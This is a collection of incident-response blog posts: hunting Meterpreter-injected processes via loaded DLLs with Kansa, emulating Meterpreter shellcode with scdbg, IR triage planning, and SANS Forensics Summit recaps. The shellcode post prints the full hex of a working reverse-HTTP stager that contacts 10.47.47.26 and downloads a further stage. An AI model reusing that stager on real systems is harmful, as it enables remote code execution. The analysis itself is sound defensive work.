Showing posts with label Incident Response. Show all posts
Showing posts with label Incident Response. Show all posts

Tuesday, August 4, 2020

Hunting injected processes by the modules they keep

A relatively recent post showed how Metasploit's Meterpreter module made some noise on endpoints when the migrate command was used to move the agent code into a legitimate process, spoolsv.exe in our example.

One of the things we saw in that post was that when the agent migrates, it uses commonplace injection techniques that result in three dlls being reflectively loaded into the target process. These dlls are not registered with the process and therefore don't show up in the output of something like listdlls, but we were able to find them using gleeda's memtriage in combination with Volatility's malfind plugin. Worth mentioning again, memtriage is really useful because it facilitates some memory analysis without the need for a full memory dump. See the other post for details.

We also noted that these three dlls have dependencies on native Windows dlls and these dozen or so dlls are loaded at the time of agent migration. Depending on how long the target process has been running, these may be "late loaded dlls," which could be a powerful detection. These late loaded dlls are registered in the process, so we can go hunting for them using something like listdlls,  PowerShell's Get-Process cmdlet or a relatively new Kansa module built around the Get-Process cmdlet -- Get-ProcessesUsingModules.ps1.

This new module is one of the few Kansa modules that can take command line arguments, this makes it a bit awkward to use. There's an old post here on what this can look like and we'll dive into the specifics for this new module now.

PS > .\kansa.ps1 -Target $env:computername -ModulePath ".\Modules\Process\Get-ProcessesUsingModules.ps1 wininet.dll,iertutil.dll,winhttp.dll,dhcpcsvc6.dll,dhcpcsvc.dll,webio.dll,psapi.dll,winmm.dll,winmmbase.dll
,ole32.dll,mpr.dll,netapi32.dll" -Credential $cred

Above is an example command-line for running this new collector with a list of dlls. This list of dlls matches what we saw late loaded into our spoolsv.exe process following the migration into that process. Note the double-quotes around the name of the module and its arguments. It's also worth noting that depending on the configuration of the meterpreter agent, there may be different dlls loaded. In our example, I was using a reverse http handler. The example still stands, however. If you're analyzing a piece of malware and can determine what dlls it imports, you may be able to put together a list of modules that you can pass to this collector to see if there are processes that have those dlls loaded. The process may have other dlls loaded too, spoolsv.exe certainly does, but this list of dlls was a result of the agent migration and they are not normally loaded into spoolsv.exe.

Our console output from running this looks like the below, assuming verbose mode:

VERBOSE: Running module:
Get-ProcessesUsingModules
wininet.dll,iertutil.dll,winhttp.dll,dhcpcsvc6.dll,dhcpcsvc.dll,webio.dll,psapi.dll,winmm.dll,winmmbase.dll,ole32.dll,m
pr.dll,netapi32.dll
VERBOSE: Found logging.conf
VERBOSE: Running module on machines 0 to 1 of 1 (0.0 %)
VERBOSE: Waiting for Get-ProcessesUsingModules wininet.dll iertutil.dll winhttp.dll dhcpcsvc6.dll dhcpcsvc.dll
webio.dll psapi.dll winmm.dll winmmbase.dll ole32.dll mpr.dll netapi32.dll to complete.

Id     Name            PSJobTypeName   State         HasMoreData     Location             Command
--     ----            -------------   -----         -----------     --------             -------
7      Job7            RemoteJob       Completed     True            WINS2012R202         <# ...
WARNING: ProcessesUsingModules's output path contains arguments that were passed to it. Those arguments were truncated f
rom wininet.dlliertutil.dllwinhttp.dlldhcpcsvc6.dlldhcpcsvc.dllwebio.dllpsapi.dllwinmm.dllwinmmbase.dllole32.dllmpr.dlln
etapi32.dll to wininet.dlliertutil.dllwinhttp.dlldhcpcsvc6.dlldhcpcsvc.dllwebio.dllpsap to accommodate Window's MAXPATH
limitations of 260 characters.
VERBOSE: ### All Done ###

Note the MAXPATH issue. The way Kansa works, the directory names for the collector output include command line arguments and in this case, those arguments exceed the default limits on my Windows system, so Kansa makes some adjustments and truncates them.

What does the collector output look like, below is a snapshot of the output folder for this collector, note the long folder name.


Inside that folder there's a file, one for each targeted system, in our case there's only one. We ran with the default output type so we have a CSV file and it's contents are as follows:

"ProcessId","ProcessName","PSComputerName"
"1084","spoolsv","WINS2012R202"

This means on our targeted endpoint, we had a single process that had this set of dlls loaded, our injected spoolsv.exe process.

Happy hunting!

Saturday, July 25, 2020

Analyzing an Instance of Meterpreter's Shellcode

In my previous post on detecting and investigating Meterpreter's Migrate functionality, I went down a rabbit hole on the initial PowerShell attack spawned by and Excel macro. In that payload was a bit of shellcode and I mentioned that I'd like to return to it at some point in the future for further analysis. I do not consider myself a reverse engineer, though I have dabbled over the years.

What follows then is an amateur's ambling. If you are reading this and have insights you'd like to share, I'd love to receive them via the comments here, an @ mention or DM on Twitter.

Our shellcode from the previous post looked like this:

e8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d686e6574006877696e6954684c772607ffd531db5353535353683a5679a7ffd553536a0353536a50e8840000002f384b68383900506857899fc6ffd589c653680002608453535357535668eb552e3bffd5966a0a5f5353535356682d06187bffd585c0751668881300006844f035e0ffd54f75e168f0b5a256ffd56a4068001000006800004000536858a453e5ffd593535389e7576800200000535668129689e2ffd585c074cd8b0701c385c075e558c35fe87dffffff31302e34372e34372e323600


Unsure how to proceed with analyzing this, I did a little searching online for things like "analyzing shellcode," "shellcode analysis," "shellcode reversing," etc. There are hundreds of thousands of hits, so no shortage of sites to go chase down.

Here's where I landed. I had a Flare VM from a CTF I'd worked on some time back and I saw that it had recently been updated for the release of capa from Fireeye's Flare team. I knew various posts about shellcode analysis referenced tools that are in the Flare VM, like scdbg, so I decided I'd spin up my old Flare VM and give it a go.

Suffice to say, updating my Flare VM to the latest wasn't straightforward. There were some breaking changes in the upgrade, so I scrapped it and started over with a fresh Win10 system.

Based on what I'd read elsewhere, my first inclination was to try scdbg.exe, which is packaged as part of Flare VM.

PS> scdbg.exe -f shellcode.bin
Loaded 296 bytes from file shellcode.bin
Detected straight hex encoding input format converting...
Initialization Complete..
Max Steps: 2000000
Using base offset: 0x401000

40109a  LoadLibraryA(wininet)
4010a8  InternetOpenA()
4010c4  InternetConnectA(server: 10.47.47.26, port: 80, )
4010d9  HttpOpenRequestA(path: /8Kh89, )

Stepcount 2000001

This was immediately insightful. I now knew that the string of bytes imported functions from the wininet.dll referenced in the previous post. I could see the IP address and port that it was reaching out to; also seen in the Sysmon logs in the previous post.

Having read this post from Didier Stevens, Another Quickie: Using scdbg to analyze shellcode, I recognized that there may be more to this shellcode than what was shown above as scdbg only emulates 2 million instructions by default. So, I increased the step count as shown below:

PS> scdbg.exe -s 3000000 -f shellcode.bin
Loaded 296 bytes from file shellcode.bin
Detected straight hex encoding input format converting...
Initialization Complete..
Max Steps: 3000000
Using base offset: 0x401000

40109a  LoadLibraryA(wininet)
4010a8  InternetOpenA()
4010c4  InternetConnectA(server: 10.47.47.26, port: 80, )
4010d9  HttpOpenRequestA(path: /8Kh89, )
4010e9  HttpSendRequestA()
401117  VirtualAlloc(base=0 , sz=400000) = 600000

Stepcount 3000001

How many steps are enough? I would guess it depends on the shellcode. In my experimentation with this sample, I didn't appear to glean additional information by increasing the step count beyond this. YMMV.

Other options can be passed to scdbg and you should run it without passing it any arguments to see what the possibilities are. One can increase verbosity by passing -v and increase it more with -vv through -vvvv. A single -v will display disassembly:

PS> scdbg.exe -v -s 20 -f shellcode.bin
Loaded 296 bytes from file shellcode.bin
Detected straight hex encoding input format converting...
Initialization Complete..
Max Steps: 20
Using base offset: 0x401000
Verbosity: 1

401000   E882000000                      call 0x401087           step: 0
401087   5D                              pop ebp
401088   686E657400                      push dword 0x74656e
40108d   6877696E69                      push dword 0x696e6977
401092   54                              push esp
401093   684C772607                      push dword 0x726774c            step: 5
401098   FFD5                            call ebp
401005   60                              pusha
401006   89E5                            mov ebp,esp
401008   31C0                            xor eax,eax
40100a   648B5030                        mov edx,fs:[eax+0x30]           step: 10
40100e   8B520C                          mov edx,[edx+0xc]
401011   8B5214                          mov edx,[edx+0x14]
401014   8B7228                          mov esi,[edx+0x28]
401017   0FB74A26                        movzx ecx,[edx+0x26]
40101b   31FF                            xor edi,edi             step: 15
40101d   AC                              lodsb
40101e   3C61                            cmp al,0x61
401020   7C02                            jl 0x401024  vv
401022   2C20                            sub al,0x20
401024   C1CF0D                          ror edi,0xd             step: 20

Stepcount 21

Increasing the verbosity with -vv gives register values:
PS> scdbg.exe -vv -s 8 -f shellcode.bin
Loaded 296 bytes from file shellcode.bin
Detected straight hex encoding input format converting...
Initialization Complete..
Max Steps: 8
Using base offset: 0x401000
Verbosity: 2

401000   E882000000                      call 0x401087           step: 0  foffset: 0
eax=0         ecx=0         edx=0         ebx=0
esp=12fe00    ebp=12fff0    esi=0         edi=0          EFL 0

401087   5D                              pop ebp                 step: 1  foffset: 87
eax=0         ecx=0         edx=0         ebx=0
esp=12fdfc    ebp=12fff0    esi=0         edi=0          EFL 0

401088   686E657400                      push dword 0x74656e             step: 2  foffset: 88
eax=0         ecx=0         edx=0         ebx=0
esp=12fe00    ebp=401005    esi=0         edi=0          EFL 0

40108d   6877696E69                      push dword 0x696e6977           step: 3  foffset: 8d
eax=0         ecx=0         edx=0         ebx=0
esp=12fdfc    ebp=401005    esi=0         edi=0          EFL 0

401092   54                              push esp                step: 4  foffset: 92
eax=0         ecx=0         edx=0         ebx=0
esp=12fdf8    ebp=401005    esi=0         edi=0          EFL 0

401093   684C772607                      push dword 0x726774c            step: 5  foffset: 93
eax=0         ecx=0         edx=0         ebx=0
esp=12fdf4    ebp=401005    esi=0         edi=0          EFL 0

401098   FFD5                            call ebp                step: 6  foffset: 98
eax=0         ecx=0         edx=0         ebx=0
esp=12fdf0    ebp=401005    esi=0         edi=0          EFL 0

401005   60                              pusha           step: 7  foffset: 5
eax=0         ecx=0         edx=0         ebx=0
esp=12fdec    ebp=401005    esi=0         edi=0          EFL 0

401006   89E5                            mov ebp,esp             step: 8  foffset: 6
eax=0         ecx=0         edx=0         ebx=0
esp=12fdcc    ebp=401005    esi=0         edi=0          EFL 0


Stepcount 9

Stepping up the verbosity again switches to an interactive mode where you're given the option to step through and select any of the options from this debug menu between instructions:

dbg>
        ? - help, this help screen, h also works
        v - change verbosity (0-4)
        g - go - continue with v=0
        s - step, continues execution, ENTER also works
        c - reset step counter
        r - execute till return (v=0 recommended)
        u - unassembled x instructions at address (default eip)
        b - sets next free breakpoint (10 max)
        m - reset max step count (-1 = infinate)
        e - set eip (file offset or VA)
        w - dWord dump,(32bit ints) prompted for hex base addr and then size
        d - Dump Memory (hex dump) prompted for hex base addr and then size
        x - execute x steps (use with reset step count)
        t - set time delay (ms) for verbosity level 1/2
        k - show stack
        i - break at instruction (scans disasm for next string match)
        f - dereF registers (show any common api addresses in regs)
        j - show log of last 10 instructions executed
        o - step over
        ; - Set comment in IDA if .idasync active
        +/- - basic calculator to add or subtract 2 hex values
        .bl - list set breakpoints
        .bc - clear breakpoint
        .api - scan memory for api table
        .nop - nops out instruction at address (default eip)
        .seh - shows current value at fs[0]
        .segs - show values of segment registers
        .skip - skips current instruction and goes to next
        .reg - manually set register value
        .dllmap - show dll map
        .poke1 - write a single byte to memory
        .poke4 - write a 4 byte value to memory
        .lookup - get symbol for address
        .symbol - get address for symbol (special: peb,dllmap,fs0)
        .savemem - saves a memdump of specified range to file
        .idasync - connect IDASrvr plugin and sync view at step or break.
        .allocs - list memory allocations made
        q - quit

There's also a -r option that will present a summary report at the end of the run. So the output becomes something like the following:

PS> scdbg.exe -r -s 2550000 -f shellcode.bin
Loaded 296 bytes from file shellcode.bin
Detected straight hex encoding input format converting...
Memory monitor enabled..
Initialization Complete..
Max Steps: 2550000
Using base offset: 0x401000

40109a  LoadLibraryA(wininet)
4010a8  InternetOpenA()
4010c4  InternetConnectA(server: 10.47.47.26, port: 80, )
4010d9  HttpOpenRequestA(path: /8Kh89, )
4010e9  HttpSendRequestA()
401117  VirtualAlloc(base=0 , sz=400000) = 600000

Stepcount 2550001

Analysis report:
        Reads of Dll memory detected            (use -mdll for details)
        Uses peb.InMemoryOrder List

Signatures Found:  None

Memory Monitor Log:
        *PEB (fs30) accessed at 0x40100a
        peb.InMemoryOrderModuleList accessed at 0x401011

In the Analysis report output were some things I dug into further. scdbg reports "Reads of Dll memory detected" followed by a nudge to use -mdll for details. Let's try that:

PS> scdbg.exe -r -s 444650 -mdll -f shellcode.bin -nc
Loaded 296 bytes from file shellcode.bin
Detected straight hex encoding input format converting...
Memory monitor enabled..
Memory monitor for dlls enabled..
Initialization Complete..
Max Steps: 444650
Using base offset: 0x401000

40109a  LoadLibraryA(wininet)
40104e  mdll msvcrt>    lodsb    77c5cd2f                       READ
40104e  mdll msvcrt>    lodsb    77c5cd30                       READ
40104e  mdll msvcrt>    lodsb    77c5cd31                       READ
40104e  mdll msvcrt>    lodsb    77c5cd32                       READ
40104e  mdll msvcrt>    lodsb    77c5cd33                       READ
40104e  mdll msvcrt>    lodsb    77c5cd34                       READ
40104e  mdll msvcrt>    lodsb    77c5cd35                       READ
40104e  mdll msvcrt>    lodsb    77c5cd27                       READ
40104e  mdll msvcrt>    lodsb    77c5cd28                       READ
40104e  mdll msvcrt>    lodsb    77c5cd29                       READ
40104e  mdll msvcrt>    lodsb    77c5cd2a                       READ
40104e  mdll msvcrt>    lodsb    77c5cd2b                       READ
40104e  mdll msvcrt>    lodsb    77c5cd2c                       READ
40104e  mdll msvcrt>    lodsb    77c5cd2d                       READ
40104e  mdll msvcrt>    lodsb    77c5cd2e                       READ
40104e  mdll msvcrt>    lodsb    77c5cd20                       READ
40104e  mdll msvcrt>    lodsb    77c5cd21                       READ
40104e  mdll msvcrt>    lodsb    77c5cd22                       READ

Stepcount 444651

Analysis report:
        Reads of Dll memory detected            (use -mdll for details)
        Uses peb.InMemoryOrder List

Signatures Found:  None

Memory Monitor Log:
        *PEB (fs30) accessed at 0x40100a
        peb.InMemoryOrderModuleList accessed at 0x401011

Above we can see bytes are being read from sequential memory addresses. scdbg tells us this is a dll, specifically the Microsoft Visual C Run Time library. 

In the Analysis report and Memory Monitor Log sections of the output, we also see mentions of the shellocde using the PEB (Process Environment Block), specifically the InMemoryOrderModuleList. I wasn't certain what this was about, but assumed it had something to do with the shellcode attempting to locate specific functions in some loaded module. This was confirmed by an old post from Stephen Fewer of Harmony Security back in June of 2009. I'm grateful for archive.org. (Gratitude is great, but generosity is better. Donate to archive.org)

Given the info in Fewer's post, I wondered if I could run scdbg with the right arguments to see the code referencing the InMemoryOrderModuleList. Turns out, yes. The first one happens around step 10 and it happens six more times in the first 2.6 millions steps:

PS> scdbg.exe -v -s 2550000 -f shellcode.bin | select-string 'fs:\[' -Context 2,2

  401006   89E5                            mov ebp,esp
  401008   31C0                            xor eax,eax
> 40100a   648B5030                        mov edx,fs:[eax+0x30]                 step: 10
  40100e   8B520C                          mov edx,[edx+0xc]
  401011   8B5214                          mov edx,[edx+0x14]
  401006   89E5                            mov ebp,esp
  401008   31C0                            xor eax,eax
> 40100a   648B5030                        mov edx,fs:[eax+0x30]                 step: 178605
  40100e   8B520C                          mov edx,[edx+0xc]
  401011   8B5214                          mov edx,[edx+0x14]
  401006   89E5                            mov ebp,esp           step: 718215
  401008   31C0                            xor eax,eax
> 40100a   648B5030                        mov edx,fs:[eax+0x30]
  40100e   8B520C                          mov edx,[edx+0xc]
  401011   8B5214                          mov edx,[edx+0x14]
  401006   89E5                            mov ebp,esp           step: 1262515
  401008   31C0                            xor eax,eax
> 40100a   648B5030                        mov edx,fs:[eax+0x30]
  40100e   8B520C                          mov edx,[edx+0xc]
  401011   8B5214                          mov edx,[edx+0x14]
  401006   89E5                            mov ebp,esp
  401008   31C0                            xor eax,eax
> 40100a   648B5030                        mov edx,fs:[eax+0x30]
  40100e   8B520C                          mov edx,[edx+0xc]             step: 1809940
  401011   8B5214                          mov edx,[edx+0x14]
  401006   89E5                            mov ebp,esp           step: 2357005
  401008   31C0                            xor eax,eax
> 40100a   648B5030                        mov edx,fs:[eax+0x30]
  40100e   8B520C                          mov edx,[edx+0xc]
  401011   8B5214                          mov edx,[edx+0x14]
  401006   89E5                            mov ebp,esp           step: 2506045
  401008   31C0                            xor eax,eax
> 40100a   648B5030                        mov edx,fs:[eax+0x30]
  40100e   8B520C                          mov edx,[edx+0xc]
  401011   8B5214                          mov edx,[edx+0x14]

What have we learned?

Probably the most important pieces of information were gleaned in the early goings. This scdbg command tells us the API calls made during the first 5+ million steps.

PS> scdbg.exe -s 54465000 -api -f .\shellcode.bin -nc
Loaded 296 bytes from file .\shellcode.bin
Detected straight hex encoding input format converting...
Initialization Complete..
Max Steps: 54465000
Using base offset: 0x401000

40109a  LoadLibraryA(wininet)
4010a8  InternetOpenA()
4010c4  InternetConnectA(server: 10.47.47.26, port: 80, )
4010d9  HttpOpenRequestA(path: /8Kh89, )
4010e9  HttpSendRequestA()
401117  VirtualAlloc(base=0 , sz=400000) = 600000
40112b  InternetReadFile(4893, buf: 600000, size: 2000)

Combined with what we sorted out in the previous post, this paints a more complete picture. The calls above were in the shellcode. So we can say the shellcode opened a network connection to 10.47.47.26 via port 80, and this is consistent with what we say in the Sysmon logs. We didn't see the path, so we have a bit of new information, the request hit whatever resource was hosted at /8Kh89. Maybe that resource served up the payload that injected metsrv.dll and the other injected dlls. We've learned more, but there are still some unanswered questions. Maybe we'll revisit those in a future post.






Wednesday, March 16, 2011

Incident Response Triage

Your phone rings, it's the Help Desk. They are calling you because they've got a few dozen systems that have been hit with malware that apparently came into the organization via phishing. Unfortunately, your team isn't large enough to respond to all of these systems simultaneously. You've got to quickly prioritize.

You call the members of your team together and start delegating tasks. One person contacts the email admins and finds out who received the phishing email and compares that list against the one the Help Desk gave you. The email admins remove the offending message from user mailboxes and blacklist the sender. You ask them to send a copy of the message to you so you can dissect it and begin the process of analyzing the malware.

You learn of another dozen potentially compromised hosts from conversations with the email admins.. You add them to your list. How do you prioritize your response to these victim systems? Let's say your company is very large, Fortune 100, and has been through a series of mergers and acquisitions over the last several years, nearly all of the names on the list of affected users are unknown to you. On the one hand, this may be good as it's likely none of these individuals are C-level execs. On the other hand, you've now got to figure out who these people are and what data they have on their systems and what data they have access to and who their local IT support personnel are.

What are your next steps? Do you contact each user and survey them, asking what kind of data they deal with and have access to? Do you ask who their IT support person is? How accurate is the information you're going to get? What if some of these systems are multi-user and the user you're talking to is unaware of the special projects and associated data?

Aside from questioning users, what other information gathering do you need to do? Does your organization have good exfiltration monitoring and logging in place? Do you have the ability to pull those logs and see what, if any, data has left the org? Do you have the ability to rapidly block outbound connections to the malware's command and control networks?

I know I'm asking more questions than I'm answering, partly this is stream-of-consciousness writing, but I'm also soliciting input on IR triage for a project I'm working on. I've started a little IR triage tool I'm calling Windows Automated Incident Triage or WAIT. Here is the current capability roadmap for WAIT: identify users on a system and their privilege levels, catalog the data those users have recently accessed on their systems, create a list of file shares those users have recently accessed, gather available web history, collect information about the system's OS revision and a list of installed software.

My hope is that this information will be useful to IR professionals in a situation like that above. I want a tool that can be used to help prioritize IR. What artifacts am I missing that may also be useful?

And of course the tool will be open source, likely released under a BSD style license.

Thursday, July 16, 2009

2009 SANS Forensics Summit Recap: Day Two

In my previous post I recapped day one of the 2009 SANS Forensics Summit. In this post, I'll continue with coverage of day two, but first, I have to say that I did cut out for a few hours during day two to have lunch with my friend mubix from Room362.com so I apologize in advance for not being able to comment on things I didn't see.

Ovie Carroll, Director of the Cybercrime Lab at U.S. Department of Justice Computer Crime and Intellectual Property Section started off day two. Carroll is co-host of the Cyberspeak podcast and like Richard Bejtlich, Carroll gives a great presentation accompanied by an entertaining slide deck. One of the things I really liked about Carroll's presentation was that he took time to update it with information that had been presented the previous day. There weren't a bunch of updates, but it was nice to see that he thought content from the previous day was as valuable as I did and that he took the time to make the updates at all demonstrated how much he cared about the subject matter.

Carroll spoke about trends in and the future of forensics from a law enforcement perspective. One of the key take aways from Carroll's talk was that there is a mountain of work facing law enforcement and they are having difficulty keeping up. He mentioned that it was not uncommon for some agencies to have systems in their possession for 18 months before they get a look at them. Having worked for defense attorneys (prosecutors never call me) for a number of years now, I haven't seen delays quite that long, but I don't doubt it for some agencies.

Clearly there are a number of factors contributing to the delay. One is that law enforcement is interested in analyzing computers even in traditional crimes because they have found so much good evidence on people's hard drives. Two, there simply aren't enough people doing this work due to lack of qualified personnel and due to budget constraints the problem likely won't go away, ever. Lastly and no less importantly, there's just a ton of information being produced each year in this digital age. Carroll said that in 2008 more content was produced online than humanity produced in traditional forms (paper and ink) over the last 5000 years. Sure, not all of that data is relevant to case work, but some of it is and it takes time to analyze what's relevant.

Carroll has been advocating for a phased approach for a while now and he repeated the call during his talk. Law enforcement agencies should take a triage approach and try to build enough of a case without completely analyzing systems that they can get suspects to plea bargain and thus clear out some of the case load, at least for the more mild offenders. This is something I've told students as well, yes we want to analyze every piece of evidence that we collect, unless of course we can build a strong case without doing all that comprehensive work and short-circuit the process through a plea bargain.

One more thing about Carroll, he's funny. You want that in morning speaker.

Following Carrol, Chris Kelly Managing Attorney for the Cybercrime Division of Massachusetts' Attorney General's Office addressed the audience. Kelly had some great stories about some really stupid criminals, the ones who get caught, generally are, but one guy rose above the rest by snapping a picture of himself with someone's cell phone while he was in the act of robbing that someone's home. Good times.

Kelly started out talking about how much things have changed in the cybercrime world. We've gone from phone phreakers, defacements and obnoxious worms to organized criminal networks, terrorism and traditional crimes that involve computers as sources of evidence. As an example of the latter, consider a case in my area where a college professor was convicted of killing his ex-wife. One piece of evidence found on his home computer was search history about ways to kill people. He claimed he was doing research for a novel. Along these lines, Kelly brought up the case of Neil Entwistle who killed his wife and daughter. In his search history were queries about how to kill people.

Kelly also spoke about some of the training they are offering to law enforcement including the need for first responders to stop pulling the plug and to perform collection of volatile evidence. He played a hilarious clip from CSI of cell phone forensic analysis that had everyone in the room laughing.

At this point, I'm sorry to say, I had to cut out, but a user panel assembled to discuss aspects of forensics in law enforcement. The panel was to have included Carroll, Kelly, Andrew Bonillo, Special Agent/Computer Forensic Examiner at the U.S. Secret Service; Richard Brittson, retired detective, New York City Police Department; Jennifer Kolde, Computer Scientist with the FBI San Diego Division's National Security Cyber Squad; Cindy Murphy, detective, City of Madison, WI Police Department; Ken Privette, Special Agent in Charge of Digital Evidence Services, United States Postal Service Office of Inspector General; Paul J. Vitchock, Special Agent, Federal Bureau of Investigation, Washington Field Office; and Elizabeth Whitney, Forensic Computer Examiner, City-County Bureau of Identification, Raleigh, NC.

I apologize if I missed anyone on the list, because I missed the panel, I'm going off of the agenda so some of these folks may not have been there and others may have been on the panel in their place. I have looked over some of the presentations that were given and I'm sure I missed some great content and as someone who frequently works opposite law enforcement, I wish I could have caught this panel.

After lunch, Dr. Doug White Director of the FANS Lab at Roger Williams University spoke about several different topics related to forensics and the courtroom including some cases where admissability of evidence came into play. I got a little lost at one point while White was speaking about this. His slides referred to US. V. Richardson 583 F. Supp. 2d 694 (W.D. PA 2008) with the sub-bullet referring to hacker defense, but the only thing I can find about the case online indicates that there were scoping issues with a warrant rather than a hacker defense.

White brought up another interesting case, U. S. v. Carter 549 F. Supp. 2d (D. Nev. 2008), discussed here, where the IP address of a suspect's system was deemed circumstantial evidence and could not be used to tie an individual to the crime. Lesson for investigators, get as much supporting evidence as you can.

White talked about the Adam Walsh Act that limits defense attorneys and experts to "reasonable access" to the evidence in cases that involve the exploitation of children. Reasonable access generally means at the law enforcement agency during normal business hours. This is a well intentioned law that has cost me some business but if it prevents children from suffering at the hands of incompetent practitioners who lose hard drives or otherwise leak evidence, then it's a good thing.

One great recommendation White made was to spend downtime coming up with simple ways to explain complex topics. There are lots of things those of us in tech take for granted, like IP addressing and NAT, but when we have to explain them to non-technical folks it can be difficult. Spending time to write clear and easy to understand explanations that can be quickly added to the appendix of a report saves time. It's like developers reusing code.

Following White's talk Craig Ball, trial lawyer and forensic expert, touched on this same idea during his lightning talk as part of the user panel on challenges in the court room. Ball is a wonderful presenter. He struck me as a very intelligent, thoughtful and friendly gentleman (he's a lawyer?!). Ball had a great slide deck loaded with graphics including some simple animations that he uses to explain complex topics in simple ways to members of the jury, things like how a hard drive works.

Ball also mentioned using visualization software for turning timelines into nice looking charts. I believe he said he uses a product called Time Map, but a quick search reveals there are quite a few different products on the market. Check out Ball's website where he has loads of materials available for free. I would love to see Ball at work in the court room. I hope to catch him giving a longer presentation at some point in the future.

Also on the panel with Ball were White, Gary Kessler, Associate Professor of Computer and Digital Forensics and Director of the Center for Digital Investigations at Chamberlain College; Bret Padres Direcor of Digital Forensics for Stroz Friedberg and co-host of the Cyberspeak podcast and Larry Daniel, principal examiner for Guardian Digital Forensics. I may have missed someone, Dave Kleiman was on the agenda, but his slides aren't on the conference CD and I can't remember him being on the panel, this is not to say that if he was on the panel, he didn't have anything noteworthy to say. Rather, it's a reflection on my own poor memory and the fact that I'm writing this more than a week after the event.

Kessler's question was to rank the qualities in order of importance that an investigator should have and to explain his ranking. I liked Kessler's answer because he took the list given to him (analysis skills, acquisition skills, data recovery skills, report writing skills (Kessler expanded this to communication skills), law enforcement background, computer science background, problem solving skills, integrity and caution) and he added his own qualities of curiosity, technical astuteness and tenacity.

Kessler's overall number one choice was integrity, something I happen to agree with. And his least important qualities were a computer science background followed by a law enforcement background. For those of us in the field who lack a computer science degree and a law enforcement background, it's easy to agree with Kessler's putting those at the bottom of the list. His second most important quality was technical astuteness. Oddly enough, I know some folks with computer science degrees, who have difficulty with technology outside of their narrow field of specialization.

Kessler made a point about good examiners that I've heard repeated by others in the field. So much of the job is about being tenacious. Hard problems are hard and many times there are no quick wins, the examiner who sticks with it and works through the adversity is the one you want working for you.

At this point, I had to cut out and catch a flight. All in all, this was the greatest incident response and forensics focused conference I've attended. If you work in the field, you should try and attend next year, this is not a normal SANS event, it's really a single track conference bookended by the training that SANS if known for.

I hope to see you there next year.

Tuesday, July 14, 2009

2009 SANS Forensics Summit Recap: Day One


I had the great pleasure of attending and participating as a panelist in the 2009 SANS What Works Summit in Forensics and Incident Response. I covered my presentation in a previous post, but wanted to share my thoughts on some other aspects of this great event.

The Summit was a two day event, with day one focusing mostly on the more technical aspects of forensics and incident response. Day two's focus was more on the legal side of things, though Eoghan Casey of cmdlabs did give an excellent technical talk on mobile device forensics on day two.

Day one kicked off with a keynote address by Richard Bejtlich. This is the second year in a row Bejtlich has addressed the attendees and from what I gather, his talk this year was sort of a continuation of his talk from last year. If you read Bejtlich's blog, you know he's a critical thinker and has made some valuable contributions to the field. He knows how to put together an engaging talk and a good slide deck to go with it.

I did have a slight "uh oh" moment during Bejtlich's address when he mentioned his concept of creating a National Digital Security Board. I have been reading Bejtlich's blog for years, but apparently missed that entry entirely. The "uh oh" was because that was pretty closely related to the theme of my panel presentation. In a nutshell, my take was that incident responders ought to be much more open about what we're dealing with in the same way that the National Transportation Safety Board publishes over 2000 reports each year regarding transportation failures.

Following Bejtlich was an excellent talk by Kris Harms called "Evil or Not? Rapid Confirmation of Compromised Hosts Via Live Incident Response". I appreciated Harms' talk because it was basically a talk from the trenches, very nuts and bolts, covering a list of different techniques and tools that incident responders can use to quickly assess a potentially compromised system.

Harms covered many of the tools commonly used by incident responders, but I picked up a few new tactics. One of them was his use of Sysinternals Autoruns and it's capacity to sort out signed and unsigned code. Certainly a criminal could go to the trouble to create signed code and many companies produce legit code that's unsigned, but one of the things incident responders, like forensic examiners need to do is quickly reduce the size of the data to parse and this is one possible technique.

Harms also spoke about the Advanced Persistent Threat something we should all be giving more attention. APT's frequently make use of rootkit technologies to hide themselves. Harms gave some examples of using Handle, again a Sysinternals tool that most IR folks have used, but it was interesting to note that Handle could be used to work backwards from open files to process IDs and that usually rootkits aren't able to hide themselves from this backwards approach.

Harms talk alone would benefit any incident responder, but the Summit was just getting started. After Harms, a panel of incident responders took the stage, including Harlan Carvey, Harms, Chris Pogue and Ken Bradley and myself. Each member of the panel gave a lightning style talk answering a question of their choosing. The general consensus of the group was that the best tool for incident responders is still the gray matter between one's ears. Following the panelist's presentations, members of the audience had a chance to ask questions. This format was followed for all the panels during the Summit. It's a great opportunity for practitioners to pick the brains of leading experts.

Following lunch, Carvey took the stage again and talked registry forensics. When it comes to the Windows registry, Carvey has done more for the Windows IR and forensics community than any other individual. If you are an incident responder or digital investigator and haven't picked up a copy of his book you really should purchase a copy or watch the SANS Forensics Blog where we'll be giving away a few copies courtesy of Syngress Publishing. Carvey has written some great tools for pulling useful information from the registry and has made them freely available from his web site. One thing he said during his talk and that is repeated in his book is that the Windows registry is a log file. Given the fact that keys have last write time stamps, this is true and can be very useful for making a case. Carvey's a great speaker, if you have a chance to see him talk, don't pass it up.

Following Carvey was another panel discussion on essential forensics tools and techniques. Jesse Kornblum spoke about dealing with foreign languages in malware. Kornblum has an amazing mind and has made many great contributions to the field. Hearing him speak was another among the many highlights of the Summit. Troy Larson answered the question, "What forensic tool needs to be created that doesn't exist yet?" His answer was "a tool to perform intelligent network imaging of volume shadow copies." If you don't know, volume shadow copies are bit-level diffs of all the clusters on your Windows Vista and later volumes. Obviously, there's a wealth of useful data in there, but as of yet, getting at the data is a labor intensive process and sadly many practitioners don't even bother.

Also on the panel was Mark McKinnon of RedWolf Computer Forensics, author of numerous forensics tools including Skype Log Parser, CSC Parser (for offline files) as well as a number of parsers for a variety of browsers. McKinnon answered the question "What are 2-3 major challenges that investigators now face or will face in the near future?" His answer was the astounding amount of new software and hardware that is flooding the market including the latest smart phones, gaming consoles, Google Wave, etc.

Jess Garcia from One eSecurity spoke about using different tools and different approaches depending on the type of case being worked. On one of his slides he mentioned cases involving cloud providers. I can just imagine the headaches that's going to present in the future.

At the end of the panel, Rob Lee asked the panelists what their favorite forensics tools was or what they used most often and I believe everyone of them said X-Ways Forensics and WinHex.

Next, Jamie Butler and Peter Silberman from Mandiant spoke about memory forensics and ran through some demos. On the day of their talk, they also released new versions of Memoryze and Audit Viewer. These two are whip smart and it was great to see their work in action.

